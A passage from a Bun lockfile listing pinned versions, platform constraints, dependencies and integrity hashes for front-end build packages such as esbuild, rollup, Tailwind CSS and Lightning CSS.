"@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.21.5", "", { "os": "sunos", "cpu": "x64" }, "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg=="],
|
||||
|
||||
"@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.21.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A=="],
|
||||
|
||||
"@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.21.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA=="],
|
||||
|
||||
"@esbuild/win32-x64": ["@esbuild/win32-x64@0.21.5", "", { "os": "win32", "cpu": "x64" }, "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw=="],
|
||||
|
||||
"@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
|
||||
|
||||
"@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="],
|
||||
|
||||
"@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="],
|
||||
|
||||
"@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="],
|
||||
|
||||
"@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
|
||||
|
||||
"@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.60.3", "", { "os": "android", "cpu": "arm" }, "sha512-x35CNW/ANXG3hE/EZpRU8MXX1JDN86hBb2wMGAtltkz7pc6cxgjpy1OMMfDosOQ+2hWqIkag/fGok1Yady9nGw=="],
|
||||
|
||||
"@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.60.3", "", { "os": "android", "cpu": "arm64" }, "sha512-xw3xtkDApIOGayehp2+Rz4zimfkaX65r4t47iy+ymQB2G4iJCBBfj0ogVg5jpvjpn8UWn/+q9tprxleYeNp3Hw=="],
|
||||
|
||||
"@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.60.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-vo6Y5Qfpx7/5EaamIwi0WqW2+zfiusVihKatLvtN1VFVy3D13uERk/6gZLU1UiHRL6fDXqj/ELIeVRGnvcTE1g=="],
|
||||
|
||||
"@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.60.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-D+0QGcZhBzTN82weOnsSlY7V7+RMmPuF1CkbxyMAGE8+ZHeUjyb76ZiWmBlCu//AQQONvxcqRbwZTajZKqjuOw=="],
|
||||
|
||||
"@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.60.3", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-6HnvHCT7fDyj6R0Ph7A6x8dQS/S38MClRWeDLqc0MdfWkxjiu1HSDYrdPhqSILzjTIC/pnXbbJbo+ft+gy/9hQ=="],
|
||||
|
||||
"@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.60.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-KHLgC3WKlUYW3ShFKnnosZDOJ0xjg9zp7au3sIm2bs/tGBeC2ipmvRh/N7JKi0t9Ue20C0dpEshi8WUubg+cnA=="],
|
||||
|
||||
"@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.60.3", "", { "os": "linux", "cpu": "arm" }, "sha512-DV6fJoxEYWJOvaZIsok7KrYl0tPvga5OZ2yvKHNNYyk/2roMLqQAbGhr78EQ5YhHpnhLKJD3S1WFusAkmUuV5g=="],
|
||||
|
||||
"@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.60.3", "", { "os": "linux", "cpu": "arm" }, "sha512-mQKoJAzvuOs6F+TZybQO4GOTSMUu7v0WdxEk24krQ/uUxXoPTtHjuaUuPmFhtBcM4K0ons8nrE3JyhTuCFtT/w=="],
|
||||
|
||||
"@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.60.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-Whjj2qoiJ6+OOJMGptTYazaJvjOJm+iKHpXQM1P3LzGjt7Ff++Tp7nH4N8J/BUA7R9IHfDyx4DJIflifwnbmIA=="],
|
||||
|
||||
"@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.60.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-4YTNHKqGng5+yiZt3mg77nmyuCfmNfX4fPmyUapBcIk+BdwSwmCWGXOUxhXbBEkFHtoN5boLj/5NON+u5QC9tg=="],
|
||||
|
||||
"@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.60.3", "", { "os": "linux", "cpu": "none" }, "sha512-SU3kNlhkpI4UqlUc2VXPGK9o886ZsSeGfMAX2ba2b8DKmMXq4AL7KUrkSWVbb7koVqx41Yczx6dx5PNargIrEA=="],
|
||||
|
||||
"@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.60.3", "", { "os": "linux", "cpu": "none" }, "sha512-6lDLl5h4TXpB1mTf2rQWnAk/LcXrx9vBfu/DT5TIPhvMhRWaZ5MxkIc8u4lJAmBo6klTe1ywXIUHFjylW505sg=="],
|
||||
|
||||
"@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.60.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-BMo8bOw8evlup/8G+cj5xWtPyp93xPdyoSN16Zy90Q2QZ0ZYRhCt6ZJSwbrRzG9HApFabjwj2p25TUPDWrhzqQ=="],
|
||||
|
||||
"@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.60.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-E0L8X1dZN1/Rph+5VPF6Xj2G7JJvMACVXtamTJIDrVI44Y3K+G8gQaMEAavbqCGTa16InptiVrX6eM6pmJ+7qA=="],
|
||||
|
||||
"@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.60.3", "", { "os": "linux", "cpu": "none" }, "sha512-oZJ/WHaVfHUiRAtmTAeo3DcevNsVvH8mbvodjZy7D5QKvCefO371SiKRpxoDcCxB3PTRTLayWBkvmDQKTcX/sw=="],
|
||||
|
||||
"@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.60.3", "", { "os": "linux", "cpu": "none" }, "sha512-Dhbyh7j9FybM3YaTgaHmVALwA8AkUwTPccyCQ79TG9AJUsMQqgN1DDEZNr4+QUfwiWvLDumW5vdwzoeUF+TNxQ=="],
|
||||
|
||||
"@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.60.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-cJd1X5XhHHlltkaypz1UcWLA8AcoIi1aWhsvaWDskD1oz2eKCypnqvTQ8ykMNI0RSmm7NkTdSqSSD7zM0xa6Ig=="],
|
||||
|
||||
"@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.60.3", "", { "os": "linux", "cpu": "x64" }, "sha512-DAZDBHQfG2oQuhY7mc6I3/qB4LU2fQCjRvxbDwd/Jdvb9fypP4IJ4qmtu6lNjes6B531AI8cg1aKC2di97bUxA=="],
|
||||
|
||||
"@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.60.3", "", { "os": "linux", "cpu": "x64" }, "sha512-cRxsE8c13mZOh3vP+wLDxpQBRrOHDIGOWyDL93Sy0Ga8y515fBcC2pjUfFwUe5T7tqvTvWbCpg1URM/AXdWIXA=="],
|
||||
|
||||
"@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.60.3", "", { "os": "openbsd", "cpu": "x64" }, "sha512-QaWcIgRxqEdQdhJqW4DJctsH6HCmo5vHxY0krHSX4jMtOqfzC+dqDGuHM87bu4H8JBeibWx7jFz+h6/4C8wA5Q=="],
|
||||
|
||||
"@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.60.3", "", { "os": "none", "cpu": "arm64" }, "sha512-AaXwSvUi3QIPtroAUw1t5yHGIyqKEXwH54WUocFolZhpGDruJcs8c+xPNDRn4XiQsS7MEwnYsHW2l0MBLDMkWg=="],
|
||||
|
||||
"@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.60.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-65LAKM/bAWDqKNEelHlcHvm2V+Vfb8C6INFxQXRHCvaVN1rJfwr4NvdP4FyzUaLqWfaCGaadf6UbTm8xJeYfEg=="],
|
||||
|
||||
"@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.60.3", "", { "os": "win32", "cpu": "ia32" }, "sha512-EEM2gyhBF5MFnI6vMKdX1LAosE627RGBzIoGMdLloPZkXrUN0Ckqgr2Qi8+J3zip/8NVVro3/FjB+tjhZUgUHA=="],
|
||||
|
||||
"@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.60.3", "", { "os": "win32", "cpu": "x64" }, "sha512-E5Eb5H/DpxaoXH++Qkv28RcUJboMopmdDUALBczvHMf7hNIxaDZqwY5lK12UK1BHacSmvupoEWGu+n993Z0y1A=="],
|
||||
|
||||
"@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.60.3", "", { "os": "win32", "cpu": "x64" }, "sha512-hPt/bgL5cE+Qp+/TPHBqptcAgPzgj46mPcg/16zNUmbQk0j+mOEQV/+Lqu8QRtDV3Ek95Q6FeFITpuhl6OTsAA=="],
|
||||
|
||||
"@tailwindcss/node": ["@tailwindcss/node@4.0.14", "", { "dependencies": { "enhanced-resolve": "^5.18.1", "jiti": "^2.4.2", "tailwindcss": "4.0.14" } }, "sha512-Ux9NbFkKWYE4rfUFz6M5JFLs/GEYP6ysxT8uSyPn6aTbh2K3xDE1zz++eVK4Vwx799fzMF8CID9sdHn4j/Ab8w=="],
|
||||
|
||||
"@tailwindcss/oxide": ["@tailwindcss/oxide@4.0.14", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.0.14", "@tailwindcss/oxide-darwin-arm64": "4.0.14", "@tailwindcss/oxide-darwin-x64": "4.0.14", "@tailwindcss/oxide-freebsd-x64": "4.0.14", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.0.14", "@tailwindcss/oxide-linux-arm64-gnu": "4.0.14", "@tailwindcss/oxide-linux-arm64-musl": "4.0.14", "@tailwindcss/oxide-linux-x64-gnu": "4.0.14", "@tailwindcss/oxide-linux-x64-musl": "4.0.14", "@tailwindcss/oxide-win32-arm64-msvc": "4.0.14", "@tailwindcss/oxide-win32-x64-msvc": "4.0.14" } }, "sha512-M8VCNyO/NBi5vJ2cRcI9u8w7Si+i76a7o1vveoGtbbjpEYJZYiyc7f2VGps/DqawO56l3tImIbq2OT/533jcrA=="],
|
||||
|
||||
"@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.0.14", "", { "os": "android", "cpu": "arm64" }, "sha512-VBFKC2rFyfJ5J8lRwjy6ub3rgpY186kAcYgiUr8ArR8BAZzMruyeKJ6mlsD22Zp5ZLcPW/FXMasJiJBx0WsdQg=="],
|
||||
|
||||
"@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.0.14", "", { "os": "darwin", "cpu": "arm64" }, "sha512-U3XOwLrefGr2YQZ9DXasDSNWGPZBCh8F62+AExBEDMLDfvLLgI/HDzY8Oq8p/JtqkAY38sWPOaNnRwEGKU5Zmg=="],
|
||||
|
||||
"@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.0.14", "", { "os": "darwin", "cpu": "x64" }, "sha512-V5AjFuc3ndWGnOi1d379UsODb0TzAS2DYIP/lwEbfvafUaD2aNZIcbwJtYu2DQqO2+s/XBvDVA+w4yUyaewRwg=="],
|
||||
|
||||
"@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.0.14", "", { "os": "freebsd", "cpu": "x64" }, "sha512-tXvtxbaZfcPfqBwW3f53lTcyH6EDT+1eT7yabwcfcxTs+8yTPqxsDUhrqe9MrnEzpNkd+R/QAjJapfd4tjWdLg=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.0.14", "", { "os": "linux", "cpu": "arm" }, "sha512-cSeLNWWqIWeSTmBntQvyY2/2gcLX8rkPFfDDTQVF8qbRcRMVPLxBvFVJyfSAYRNch6ZyVH2GI6dtgALOBDpdNA=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.0.14", "", { "os": "linux", "cpu": "arm64" }, "sha512-bwDWLBalXFMDItcSXzFk6y7QKvj6oFlaY9vM+agTlwFL1n1OhDHYLZkSjaYsh6KCeG0VB0r7H8PUJVOM1LRZyg=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.0.14", "", { "os": "linux", "cpu": "arm64" }, "sha512-gVkJdnR/L6iIcGYXx64HGJRmlme2FGr/aZH0W6u4A3RgPMAb+6ELRLi+UBiH83RXBm9vwCfkIC/q8T51h8vUJQ=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.0.14", "", { "os": "linux", "cpu": "x64" }, "sha512-EE+EQ+c6tTpzsg+LGO1uuusjXxYx0Q00JE5ubcIGfsogSKth8n8i2BcS2wYTQe4jXGs+BQs35l78BIPzgwLddw=="],
|
||||
|
||||
"@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.0.14", "", { "os": "linux", "cpu": "x64" }, "sha512-KCCOzo+L6XPT0oUp2Jwh233ETRQ/F6cwUnMnR0FvMUCbkDAzHbcyOgpfuAtRa5HD0WbTbH4pVD+S0pn1EhNfbw=="],
|
||||
|
||||
"@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.0.14", "", { "os": "win32", "cpu": "arm64" }, "sha512-AHObFiFL9lNYcm3tZSPqa/cHGpM5wOrNmM2uOMoKppp+0Hom5uuyRh0QkOp7jftsHZdrZUpmoz0Mp6vhh2XtUg=="],
|
||||
|
||||
"@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.0.14", "", { "os": "win32", "cpu": "x64" }, "sha512-rNXXMDJfCJLw/ZaFTOLOHoGULxyXfh2iXTGiChFiYTSgKBKQHIGEpV0yn5N25WGzJJ+VBnRjHzlmDqRV+d//oQ=="],
|
||||
|
||||
"@tailwindcss/vite": ["@tailwindcss/vite@4.0.14", "", { "dependencies": { "@tailwindcss/node": "4.0.14", "@tailwindcss/oxide": "4.0.14", "lightningcss": "1.29.2", "tailwindcss": "4.0.14" }, "peerDependencies": { "vite": "^5.2.0 || ^6" } }, "sha512-y69ztPTRFy+13EPS/7dEFVl7q2Goh1pQueVO8IfGeyqSpcx/joNJXFk0lLhMgUbF0VFJotwRSb9ZY7Xoq3r26Q=="],
|
||||
|
||||
"@types/babel__core": ["@types/babel__core@7.20.5", "", { "dependencies": { "@babel/parser": "^7.20.7", "@babel/types": "^7.20.7", "@types/babel__generator": "*", "@types/babel__template": "*", "@types/babel__traverse": "*" } }, "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA=="],
|
||||
|
||||
"@types/babel__generator": ["@types/babel__generator@7.27.0", "", { "dependencies": { "@babel/types": "^7.0.0" } }, "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg=="],
|
||||
|
||||
"@types/babel__template": ["@types/babel__template@7.4.4", "", { "dependencies": { "@babel/parser": "^7.1.0", "@babel/types": "^7.0.0" } }, "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A=="],
|
||||
|
||||
"@types/babel__traverse": ["@types/babel__traverse@7.28.0", "", { "dependencies": { "@babel/types": "^7.28.2" } }, "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q=="],
|
||||
|
||||
"@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="],
|
||||
|
||||
"@types/node": ["@types/node@22.10.5", "", { "dependencies": { "undici-types": "~6.20.0" } }, "sha512-F8Q+SeGimwOo86fiovQh8qiXfFEh2/ocYv7tU5pJ3EXMSSxk1Joj5wefpFK2fHTf/N6HKGSxIDBT9f3gCxXPkQ=="],
|
||||
|
||||
"babel-plugin-jsx-dom-expressions": ["babel-plugin-jsx-dom-expressions@0.40.6", "", { "dependencies": { "@babel/helper-module-imports": "7.18.6", "@babel/plugin-syntax-jsx": "^7.18.6", "@babel/types": "^7.20.7", "html-entities": "2.3.3", "parse5": "^7.1.2" }, "peerDependencies": { "@babel/core": "^7.20.12" } }, "sha512-v3P1MW46Lm7VMpAkq0QfyzLWWkC8fh+0aE5Km4msIgDx5kjenHU0pF2s+4/NH8CQn/kla6+Hvws+2AF7bfV5qQ=="],
|
||||
|
||||
"babel-preset-solid": ["babel-preset-solid@1.9.12", "", { "dependencies": { "babel-plugin-jsx-dom-expressions": "^0.40.6" }, "peerDependencies": { "@babel/core": "^7.0.0", "solid-js": "^1.9.12" }, "optionalPeers": ["solid-js"] }, "sha512-LLqnuKVDlKpyBlMPcH6qEvs/wmS9a+NczppxJ3ryS/c0O5IiSFOIBQi9GzyiGDSbcJpx4Gr87jyFTos1MyEuWg=="],
|
||||
|
||||
"baseline-browser-mapping": ["baseline-browser-mapping@2.10.29", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-Asa2krT+XTPZINCS+2QcyS8WTkObE77RwkydwF7h6DmnKqbvlalz93m/dnphUyCa6SWSP51VgtEUf2FN+gelFQ=="],
|
||||
|
||||
"browserslist": ["browserslist@4.28.2", "", { "dependencies": { "baseline-browser-mapping": "^2.10.12", "caniuse-lite": "^1.0.30001782", "electron-to-chromium": "^1.5.328", "node-releases": "^2.0.36", "update-browserslist-db": "^1.2.3" }, "bin": { "browserslist": "cli.js" } }, "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg=="],
|
||||
|
||||
"caniuse-lite": ["caniuse-lite@1.0.30001792", "", {}, "sha512-hVLMUZFgR4JJ6ACt1uEESvQN1/dBVqPAKY0hgrV70eN3391K6juAfTjKZLKvOMsx8PxA7gsY1/tLMMTcfFLLpw=="],
|
||||
|
||||
"convert-source-map": ["convert-source-map@2.0.0", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="],
|
||||
|
||||
"csstype": ["csstype@3.2.3", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
|
||||
|
||||
"debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
|
||||
|
||||
"detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
|
||||
|
||||
"electron-to-chromium": ["electron-to-chromium@1.5.353", "", {}, "sha512-kOrWphBi8TOZyiJZqsgqIle0lw+tzmnQK83pV9dZUd01Nm2POECSyFQMAuarzZdYqQW7FH9RaYOuaRo3h+bQ3w=="],
|
||||
|
||||
"enhanced-resolve": ["enhanced-resolve@5.21.3", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-QyL119InA+XXEkNLNTPCXPugSvOfhwv0JOlGNzvxs0hZaiHLNvXSpudUWsOlsXGWJh8G6ckCScEkVHfX3kw/2Q=="],
|
||||
|
||||
"entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="],
|
||||
|
||||
"esbuild": ["esbuild@0.21.5", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.21.5", "@esbuild/android-arm": "0.21.5", "@esbuild/android-arm64": "0.21.5", "@esbuild/android-x64": "0.21.5", "@esbuild/darwin-arm64": "0.21.5", "@esbuild/darwin-x64": "0.21.5", "@esbuild/freebsd-arm64": "0.21.5", "@esbuild/freebsd-x64": "0.21.5", "@esbuild/linux-arm": "0.21.5", "@esbuild/linux-arm64": "0.21.5", "@esbuild/linux-ia32": "0.21.5", "@esbuild/linux-loong64": "0.21.5", "@esbuild/linux-mips64el": "0.21.5", "@esbuild/linux-ppc64": "0.21.5", "@esbuild/linux-riscv64": "0.21.5", "@esbuild/linux-s390x": "0.21.5", "@esbuild/linux-x64": "0.21.5", "@esbuild/netbsd-x64": "0.21.5", "@esbuild/openbsd-x64": "0.21.5", "@esbuild/sunos-x64": "0.21.5", "@esbuild/win32-arm64": "0.21.5", "@esbuild/win32-ia32": "0.21.5", "@esbuild/win32-x64": "0.21.5" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw=="],
|
||||
|
||||
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
|
||||
|
||||
"fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||
|
||||
"gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="],
|
||||
|
||||
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
|
||||
|
||||
"html-entities": ["html-entities@2.3.3", "", {}, "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA=="],
|
||||
|
||||
"is-what": ["is-what@4.1.16", "", {}, "sha512-ZhMwEosbFJkA0YhFnNDgTM4ZxDRsS6HqTo7qsZM08fehyRYIYa0yHu5R6mgo1n/8MgaPBXiPimPD77baVFYg+A=="],
|
||||
|
||||
"jiti": ["jiti@2.7.0", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ=="],
|
||||
|
||||
"js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="],
|
||||
|
||||
"jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="],
|
||||
|
||||
"json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="],
|
||||
|
||||
"lightningcss": ["lightningcss@1.29.2", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-darwin-arm64": "1.29.2", "lightningcss-darwin-x64": "1.29.2", "lightningcss-freebsd-x64": "1.29.2", "lightningcss-linux-arm-gnueabihf": "1.29.2", "lightningcss-linux-arm64-gnu": "1.29.2", "lightningcss-linux-arm64-musl": "1.29.2", "lightningcss-linux-x64-gnu": "1.29.2", "lightningcss-linux-x64-musl": "1.29.2", "lightningcss-win32-arm64-msvc": "1.29.2", "lightningcss-win32-x64-msvc": "1.29.2" } }, "sha512-6b6gd/RUXKaw5keVdSEtqFVdzWnU5jMxTUjA2bVcMNPLwSQ08Sv/UodBVtETLCn7k4S1Ibxwh7k68IwLZPgKaA=="],
|
||||
|
||||
"lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.29.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-cK/eMabSViKn/PG8U/a7aCorpeKLMlK0bQeNHmdb7qUnBkNPnL+oV5DjJUo0kqWsJUapZsM4jCfYItbqBDvlcA=="],
|
||||
|
||||
"lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.29.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-j5qYxamyQw4kDXX5hnnCKMf3mLlHvG44f24Qyi2965/Ycz829MYqjrVg2H8BidybHBp9kom4D7DR5VqCKDXS0w=="],
|
||||
|
||||
"lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.29.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-wDk7M2tM78Ii8ek9YjnY8MjV5f5JN2qNVO+/0BAGZRvXKtQrBC4/cn4ssQIpKIPP44YXw6gFdpUF+Ps+RGsCwg=="],
|
||||
|
||||
"lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.29.2", "", { "os": "linux", "cpu": "arm" }, "sha512-IRUrOrAF2Z+KExdExe3Rz7NSTuuJ2HvCGlMKoquK5pjvo2JY4Rybr+NrKnq0U0hZnx5AnGsuFHjGnNT14w26sg=="],
|
||||
|
||||
"lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.29.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-KKCpOlmhdjvUTX/mBuaKemp0oeDIBBLFiU5Fnqxh1/DZ4JPZi4evEH7TKoSBFOSOV3J7iEmmBaw/8dpiUvRKlQ=="],
|
||||
|
||||
"lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.29.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-Q64eM1bPlOOUgxFmoPUefqzY1yV3ctFPE6d/Vt7WzLW4rKTv7MyYNky+FWxRpLkNASTnKQUaiMJ87zNODIrrKQ=="],
|
||||
|
||||
